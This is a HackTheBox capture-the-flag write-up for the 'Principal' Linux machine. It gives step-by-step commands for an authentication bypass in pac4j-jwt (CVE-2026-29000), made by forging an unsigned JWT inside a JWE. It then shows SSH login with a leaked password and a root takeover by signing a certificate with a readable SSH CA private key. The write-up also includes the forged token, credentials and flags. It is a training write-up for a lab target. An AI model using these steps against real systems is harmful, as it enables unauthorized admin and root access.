Principal — HackTheBox¶
Machine Info¶
- IP: 10.129.244.220 (originally 10.129.11.52, respawned)
- OS: Linux (Ubuntu)
- Difficulty: TBD
Enumeration¶
Port Scan¶
Full TCP scan followed by service/version scan on open ports.
nmap -p- --min-rate 3000 -Pn -oA nmap/principalNmapOpenPorts $IP
nmap -p22,8080 -sSCV --min-rate=2000 -Pn -oN nmap/principalNmapServicesVersions.txt $IP
Open Ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 |
| 8080 | HTTP | Jetty (Java web server) |
Web Application (Port 8080)¶
- Title: "Principal Internal Platform - Login"
- Server: Jetty
- Key header:
X-Powered-By: pac4j-jwt/6.0.3 - Root
/redirects 302 →/login - 404 responses return JSON:
{"timestamp":...,"status":404,"error":"Not Found","path":"..."} - Allowed methods on root:
GET, HEAD, OPTIONS
Vulnerability Identification¶
The X-Powered-By: pac4j-jwt/6.0.3 header reveals a vulnerable JWT library.
CVE-2026-29000 — Critical Authentication Bypass (CVSS 10.0)
- pac4j-jwt < 6.3.3 has a logic flaw in JwtAuthenticator
- When processing JWE-wrapped tokens, it doesn't enforce that the inner payload is signed
- An attacker can wrap an unsigned PlainJWT inside a JWE encrypted with the server's RSA public key
- This bypasses signature verification entirely — forge tokens as any user/role
- Only requirement: the server's RSA public key (designed to be public)
- Public PoC available: github.com/kernelzeroday/CVE-2026-29000
Web App Recon — app.js¶
Navigating to http://$IP:8080/login, the Network tab in DevTools shows a GET request for /static/js/app.js. This file is the key — it documents the entire authentication flow and API surface:
Authentication Flow (from comments):
1. User submits credentials to /api/auth/login
2. Server returns encrypted JWT (JWE) token
3. Token stored in sessionStorage as auth_token, sent as Authorization: Bearer <token>
Token Configuration:
- JWE encryption: RSA-OAEP-256 + A128GCM
- Inner JWT signed with RS256
- Public key at: /api/auth/jwks
JWT Claims Schema:
{
"sub": "<username>",
"role": "ROLE_ADMIN | ROLE_MANAGER | ROLE_USER",
"iss": "principal-platform",
"iat": "<epoch>",
"exp": "<epoch>"
}
API Endpoints discovered:
| Endpoint | Purpose | Required Role |
|----------|---------|---------------|
| /api/auth/login | POST credentials | None |
| /api/auth/jwks | RSA public key (JWKS) | None |
| /api/dashboard | Main dashboard | All roles |
| /api/users | User management | ROLE_ADMIN |
| /api/settings | System settings | ROLE_ADMIN |
Decision: The app tells us exactly how to exploit CVE-2026-29000 — it hands us the encryption algorithm, the JWKS endpoint, the claims schema, and the role values. No guessing needed.
JWKS Public Key¶
The standard /.well-known/jwks.json returned 404. The actual endpoint is /api/auth/jwks (found in app.js):
b7h30@kali:~/Documents/obsidian/docs/CTF/HTB/principal$ curl http://10.129.244.220:8080/api/auth/jwks | jq .
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 402 0 402 0 0 5730 0 0
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}
]
}
Returns the RSA public key in JWK format:
{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}
Note: The JWKS response has a wrapping
{"keys":[...]}— strip that to get just the JWK object for the encryption tool.
Foothold¶
CVE-2026-29000 — JWT Forgery via JWE-Wrapped Unsigned Token¶
Why this works: pac4j-jwt 6.0.3 assumes that if JWE decryption succeeds, the inner payload must be a legitimately signed JWT. It never actually checks the signature. So we craft an unsigned JWT ("alg": "none"), wrap it in a JWE encrypted with the server's public key, and the server accepts it as fully authenticated.
Step 1 — Craft the unsigned inner JWT using jwt.io:
Header:
{
"alg": "none",
"typ": "JWT"
}
Payload: the iat should be current time and exp should expire in the future - created with https://www.epochconverter.com/
{
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": 1775035169,
"exp": 1775042387
}
This produces a PlainJWT (note the trailing dot, no signature):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJST0xFX0FETUlOIiwiaXNzIjoicHJpbmNpcGFsLXBsYXRmb3JtIiwiaWF0IjoxNzc1MDM1MTY5LCJleHAiOjE3NzUwNDIzODd9.
Step 2 — JWE-encrypt the unsigned JWT using authgear.com/tools/jwt-jwe-debugger:
- Go to the JWE Encrypt tab
- Paste the unsigned JWT from Step 1 into JWT Input
- Set Algorithm to
RSA-OAEP-256(from app.js) - Set Encryption Method to
A128GCM(from app.js) - Paste the RSA public key from
/api/auth/jwksinto the Public Key field (JWK format — strip the{"keys":[...]}wrapper, use just the key object) - Click encrypt to generate the JWE
Step 3 — Inject the forged JWE into the browser:
In DevTools → Storage tab → Session Storage → add a new entry:
- Key: auth_token
- Value: <the JWE output from Step 2>
Alternatively, in the Console:
sessionStorage.setItem('auth_token', '<JWE_TOKEN>');
Step 4 — Refresh the page → redirects to /dashboard with full admin access.
Why sessionStorage? The app's
TokenManagerclass readsauth_tokenfromsessionStorageand attaches it asAuthorization: Bearer <token>on every API call. Setting it here is identical to what a legitimate login does.
Dashboard Access Confirmed¶
After injecting the forged JWE and refreshing, the app loads the Principal admin dashboard. As ROLE_ADMIN we have access to:
- /api/dashboard — system stats, activity log, announcements
- /api/users — user management (usernames, roles, departments)
- /api/settings — system/security/infrastructure config
Admin Enumeration — /api/users¶
8 users discovered (see loot/credentials.md for full table). Key account:
svc-deploy— "Deploy Service", roledeployer, DevOps, Active- Notes: "Service account for automated deployments via SSH certificate auth."
- This is the path to a shell — it's a service account that authenticates to SSH via certificates
Other notable users: jthompson (team lead, backend), admin (Sarah Chen, IT Security), kkumar (disabled admin).
Admin Enumeration — /api/settings¶
System: v1.2.0, production, Jetty 12.x (Embedded), Java 21.0.10
Security:
| Setting | Value |
|---------|-------|
| authFramework | pac4j-jwt |
| authFrameworkVersion | 6.0.3 |
| jwtAlgorithm | RS256 |
| jweAlgorithm | RSA-OAEP-256 |
| jweEncryption | A128GCM |
| encryptionKey | D3pl0y_$$H_Now42! |
| tokenExpiry | 3600s |
| sessionManagement | stateless |
Infrastructure:
| Setting | Value |
|---------|-------|
| sshCertAuth | enabled |
| database | H2 (embedded) |
| sshCaPath | /opt/principal/ssh/ |
| notes | SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config |
Key finds:
encryptionKey: D3pl0y_$$H_Now42!andsshCaPath: /opt/principal/ssh/. Combined withsvc-deploybeing a service account for "SSH certificate auth", this is the foothold path.
SSH as svc-deploy¶
The encryptionKey value D3pl0y_$$H_Now42! from /api/settings doubles as the SSH password for svc-deploy.
sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.244.220
Gotcha: The
$$in the password gets expanded to the shell's PID in double quotes. Always single-quote this password or type it manually at the prompt. This caused initial SSH failures that looked like wrong credentials.
User flag in home directory:
svc-deploy@principal:~$ cat user.txt
d26e37babfdd7c30b2c97f246a67d953
Privilege Escalation¶
SSH CA Certificate Abuse¶
svc-deploy is in the deployers group, which has read access to the SSH CA private key at /opt/principal/ssh/:
svc-deploy@principal:~$ ls -la /opt/principal/ssh/
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root 4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca # CA private key!
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
The server's sshd is configured with TrustedUserCAKeys /opt/principal/ssh/ca.pub — any certificate signed by this CA naming "root" as the principal will authenticate as root.
Step 1 — Generate a new SSH keypair (must write to a writable directory, not /opt/principal/ssh/):
cd /tmp
ssh-keygen -t ed25519 -f root-ssh -N ""
-t ed25519 — modern, fast key type
- -f root-ssh — output filename
- -N "" — empty passphrase (skip the prompt)
Step 2 — Sign the public key as root principal using the CA private key:
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root root-ssh.pub
-s /opt/principal/ssh/ca — sign with this CA private key
- -I pwned — certificate identity (arbitrary label for logging)
- -n root — the principal — tells sshd this cert authenticates as the root user
- Output: root-ssh-cert.pub ("Signed user key... for root valid forever")
Step 3 — SSH as root:
ssh -i root-ssh root@localhost
Root flag:
root@principal:~# cat root.txt
2cf35bc33b4761672fde6e6219e8c2c3
Flags¶
- User:
d26e37babfdd7c30b2c97f246a67d953 - Root:
2cf35bc33b4761672fde6e6219e8c2c3
Lessons Learned¶
X-Powered-Byheaders can leak exact library versions — always check response headers- pac4j-jwt 6.0.3 is vulnerable to CVE-2026-29000 (auth bypass via JWE-wrapped unsigned JWT)
- When probing HTTPS endpoints, verify the actual scheme first — Jetty on 8080 was HTTP, not HTTPS
- Admin settings pages can leak encryption keys and infrastructure paths — always check
/api/settingsor equivalent - Service accounts (
svc-deploy) are high-value targets — they often have more system access than human users app.js/ client-side JS is a goldmine: it revealed the non-standard JWKS path, all API endpoints, role values, and claims schema$$in passwords gets shell-expanded — always single-quote passwords containing$or type them manually. This caused false "wrong password" results- SSH CA cert abuse: If you can read the CA private key, you can sign a cert for any user (including root). Generate keypair → sign with CA → SSH with cert. No password needed.
- Write to
/tmpwhen the target directory isn't writable — don't assume you need to be in the same directory as the CA key - Password reuse between web app settings and SSH — always try leaked keys/secrets as credentials against other services